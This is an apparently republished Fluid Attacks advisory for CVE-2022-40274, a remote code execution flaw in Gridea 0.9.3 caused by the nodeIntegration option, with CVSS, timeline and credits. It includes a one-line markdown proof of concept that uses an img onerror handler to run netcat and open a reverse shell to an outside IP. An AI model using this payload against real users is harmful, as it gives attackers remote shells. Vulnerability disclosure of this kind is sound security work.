Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-40274: Gridea 0.9.3 - RCE via nodeIntegration feature | Fluid Attacks

Gridea version 0.9.3 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Gridea. This is possible because the application has the ‘nodeIntegration’ option enabled.

CVE
#vulnerability#linux#js#git#rce
  1. Home
  2. Advisories
  3. Gridea 0.9.3 RCE via nodeIntegration feature

Summary

Name

Gridea 0.9.3 - RCE via nodeIntegration feature

Code name

Marshmello

Product

Gridea

Affected versions

Version 0.9.3

State

Public

Release date

2022-09-26

Vulnerability

Kind

Remote command execution

Rule

004. Remote command execution

Remote

Yes

CVSSv3 Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVSSv3 Base Score

8.6

Exploit available

Yes

CVE ID(s)

CVE-2022-40274

Description

Gridea version 0.9.3 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Gridea. This is possible because the application has the “nodeIntegration” option enabled.

Vulnerability

This vulnerability occurs because the application has the “nodeIntegration” option enabled. Due to the above, an attacker can embed malicious JS code in a markdown file and send it to the victim for viewing to achieve an RCE.

Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Gridea. The exploit is triggered when the user presses “CTRL+P” or simply clicks "preview".

exploit.md

<img src=1 onerror="require('child_process').exec('nc 192.168.20.38 4444 -e /bin/bash');"/>

Evidence of exploitation

Our security police

We have reserved the CVE-2022-40274 to refer to this issue from now on.

  • https://fluidattacks.com/advisories/policy/

System Information

  • Version: Gridea 0.9.3

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from the Offensive Team of Fluid Attacks.

References

Vendor page https://github.com/getgridea/gridea

Timeline

2022-09-08

Vulnerability discovered.

2022-09-08

Vendor contacted.

2022-09-26

Public Disclosure.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907